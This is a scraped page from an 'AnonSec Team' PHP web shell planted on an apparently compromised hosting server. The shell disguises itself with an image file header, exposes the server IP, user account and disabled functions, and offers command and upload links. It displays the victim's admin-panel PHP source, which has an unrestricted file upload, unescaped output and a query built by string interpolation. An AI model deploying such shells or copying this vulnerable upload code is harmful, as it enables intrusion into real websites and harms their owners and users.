����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 18.217.146.30
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/mhmsfzcs/vflyorions.com/admin/assets/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mhmsfzcs/vflyorions.com/admin/assets/../manage_nonvoiceprocess.php
<!DOCTYPE html>
<html lang="en">
<head>

</head>


    <script src="tinymce/tinymce.min.js"></script>
    <script src="script.js"></script>

</html>
<?php 

include 'db.php';
include 'header.php'; 
include 'sidebar.php'; 


$image='';
if (isset($_POST['change']))
{
  $id=$_POST['id'];
  $heading=$_POST['heading'];
  $desc=$_POST['desc'];
  $voice_id=$_POST['voice_id'];

    $image=$_POST['newimage'];
    $oldimage=$_POST['oldimage'];
   
    
  if (isset($_FILES['newimage']['name'])&&($_FILES['newimage']['name']!="")){
  $newimage=$_FILES['newimage']['name'];
  // unlink($oldimage);
    $destinationfile='assets/product_image/'.$newimage;
    move_uploaded_file($_FILES['newimage']['tmp_name'], $destinationfile);
    
    }
    else{
      $newimage=$oldimage;   
    }
  
 
    $insert2 = $conn->prepare("UPDATE `nonvoice_process` SET `heading`=?,`desc`=?,`nonvoice_id`=?,`image`=? WHERE id=?" );
      
   
    $insert2->bind_param("sssss",$heading,$desc,$voice_id,$newimage,$id);

       $res=$insert2->execute(); 
       if($res)
       {
               $_SESSION['status']="Updated Successfully";
               $_SESSION['status_code']="success";
       }
       else
       {
            //   $_SESSION['status']="Oops something went wrong!!";
            //   $_SESSION['status_code']="error";
       }    
  
}

if(isset($_GET['delete']))
             {
                   $ad=$_GET['delete'];
                   $query=$conn->prepare("delete from nonvoice_process where id =?");
                   $query->bind_param("s",$ad);
                   $res=$query->execute();
                  
                    if($res)
                    {
                         $_SESSION['status']="User Deleted Successfully";
                         $_SESSION['status_code']="success";
                    }
                    else
                    {
                         $_SESSION['status']="Oops something went wrong!!";
                         $_SEESION['status_code']="error";
                    }
             }


?>

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <div class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-6">
            <h1 class="m-0">Dashboard</h1>
          </div><!-- /.col -->
          <div class="col-sm-6">
            <ol class="breadcrumb float-sm-right">
              <li class="breadcrumb-item"><a href="#">Home</a></li>
              <li class="breadcrumb-item active">Dashboard</li>
            </ol>
          </div><!-- /.col -->
        </div><!-- /.row -->
      </div><!-- /.container-fluid -->
    </div>
    <!-- /.content-header -->

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
          
          
         
        
        
        
               <div class="card">
              <div class="card-header">
                <h3 class="card-title">Manage courses</h3>
              </div>
              <!-- /.card-header -->
              <div class="card-body">
                <table id="example1" class="table table-bordered table-striped">
                  <thead>
                  <tr>
                    <th>Sr. No.</th>
                    <th>Voice Process Id</th>
                    <th>Heading</th>
                    <th>Description</th>
                    <th>Image</th>
                    <th>Action</th>
                   
                  </tr>
                  </thead>
                  <tbody>
                      
                      
        <?php
        
                      $que="SELECT * From nonvoice_process";
                      $r=$conn->query($que);
                      $sr=1;
                      
                      while($row=$r->fetch_assoc())
                      {
                        $id=$row['id']; 
                      ?>
                      
                  <tr>
                    <td><?php echo $sr;?></td>
                    <td><?php echo $row['nonvoice_id'];?></td>
                    <td><?php echo $row['heading'];?></td>
                    
                    <td><div class="summary"><button class="read-more-button">ReadMore</button>
                    <div class="full-content" style="display: none;">  <?php echo $row['desc'];?></div> </td>
                     <td><img src="<?php echo ('assets/product_image')."/". $row['image'];?>" width="70"></td>
    
                    <td><a href="manage_voiceprocess.php?delete=<?= $row['id']; ?>" onclick="return confirm('Are you sure to delete?')" class="btn btn-danger">Delete</a>
                       <button type="button" class="btn btn-success" data-toggle="modal" data-target="#modal-default<?php echo $id;?>" data-id="<?php echo $id; ?>">
                        <i class="mdi mdi-pencil label-icon"></i>Edit
                        </button>
                    </td>
        
                  </tr>


 <div class="modal fade" id="modal-default<?php echo $id;?>">
   <?php 
    $uquery = "SELECT * from nonvoice_process WHERE id='$id'";
    $result2=$conn->query($uquery);
   
    while($row5=$result2->fetch_assoc())
    { 
        $vid=$row5['nonvoice_id'];
    ?>  
        <div class="modal-dialog">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Edit</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <div class="modal-body">
             <form method="post" enctype="multipart/form-data">
                <div class="card-body">
                  <div class="row">
                    <div class="col-sm-12">
                        <?php
                        if($vid=="1")
                        {
                            $voice="DATA ENTRY SERVICES";
                        }elseif($vid=="2")
                        {
                            $voice="NON-VOICE SERVICES";
                        }elseif($vid=="3")
                        {
                            $voice="DATA CONVERSION SERVICES";
                        }elseif($vid=="4")
                        {
                            $voice="DATA MINING RESEARCH SERVICES";
                        }elseif($vid=="5")
                        {
                            $voice="ONLINE TYPING SERVICES";
                        }elseif($vid=="6")
                        {
                            $voice="DATA RESEARCH";
                     
                        }else{}
                        
                        ?>

                    <div class="form-group">
                     <label>Select Voice Process </span></label>
                                   <select name="voice_id" class="form-control" >
                                     <option value="<?php echo $vid;?>"><?php echo $voice;?></option>
                                     <option value="1">DATA ENTRY SERVICES</option>
                                     <option value="2">NON-VOICE SERVICES</option>
                                     <option value="3">DATA CONVERSION SERVICES</option>
                                     <option value="4">DATA MINING RESEARCH SERVICES</option>
                                     <option value="5">ONLINE TYPING SERVICES</option>
                                     <option value="6">DATA RESEARCH</option>
                                    
                                                    
                                    </select>              
                  </div>
                      <div class="form-group">
                     <label>Heading </label>
                                       <input type="text" data-pristine-required-message="Please Enter a Heading" name="heading" class="form-control" value="<?php echo $row5['heading'];?>" />
                                       <input type="hidden" name="id" class="form-control" value="<?php echo $row5['id'];?>">
                  </div>
                  
                   <div class="form-group">
                       <label>Image </span></label>
                       <input type="hidden" class="form-control" id="exampleInputdob" name="oldimage" placeholder="Image" value="<?php echo $row5['image'];?>">
                       <input type="file" class="form-control" id="exampleInputdob" name="newimage" placeholder="Image">
                       <img src="<?php echo('assets/product_image')."/".$row['image'];?>" width="100" class="img-thumbnail" >
                       </div> 
                  <div class="form-group">
                   <label>Description</label>
                    <!--<input type="text"  data-pristine-required-message="Please Enter a Role & Responsibility" name="role" class="form-control"  />-->
                 <textarea name="desc"  id="default"  ><?php echo $row5['desc'];?></textarea>
                                               
                  </div>
  
               
                   
                    </div>
                    
                  </div>   
                 
                </div>
                <!-- /.card-body -->

               <div class="modal-footer justify-content-between">
              <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
              <button type="submit" name="change" class="btn btn-primary">Save changes</button>
            </div>
              </form>

            
            </div>
            
          </div>
          <!-- /.modal-content -->
        </div>
        <!-- /.modal-dialog -->
      <?php   } ?>
      </div>




                 <?php
                      $sr=$sr+1;}
                 ?>
                 
                  </tbody>
                 
                </table>
              </div>
              <!-- /.card-body -->
            </div>
            <!-- /.card -->
            
            
          </div>
        <!-- /.row -->
      </div><!--/. container-fluid -->
    </section>
    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
  
  
<!-- <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function()
{
$("#site").change(function()
{

var site_id=$(this).val();
var post_id = 'id='+ site_id;

$.ajax
({
type: "POST",
url: "fetch.php",
data: post_id,
cache: false,
success: function(cities)
{

$("#cp").html(cities);
} 
});

});
});
</script>    -->

<script>
   // JavaScript code for toggling visibility of full content
   const readMoreButtons = document.getElementsByClassName("read-more-button");
   const fullContents = document.getElementsByClassName("full-content");
   
   // Add click event listeners to all "Read More" buttons
   for (let i = 0; i < readMoreButtons.length; i++) {
       readMoreButtons[i].addEventListener("click", () => {
           // Toggle the display of the associated full content
           fullContents[i].style.display = fullContents[i].style.display === "none" ? "block" : "none";
   
           // Update the button text based on the current state
           readMoreButtons[i].textContent = fullContents[i].style.display === "none" ? "Read More" : "Read Less";
       });
   }
</script>
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<?php  if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?>
<script>
   new swal({
   title: "<?php echo $_SESSION['status'];?>",
   //text: "You clicked the button!",
   icon: "<?php echo $_SESSION['status_code'];?>",
   button: "OK",
   }).then(function() {
   window.location = "manage_nonvoiceprocess.php";
   });
</script>

<?php
   unset($_SESSION['status']);
   }
   ?>


<?php include 'footer.php'; ?>

AnonSec - 2021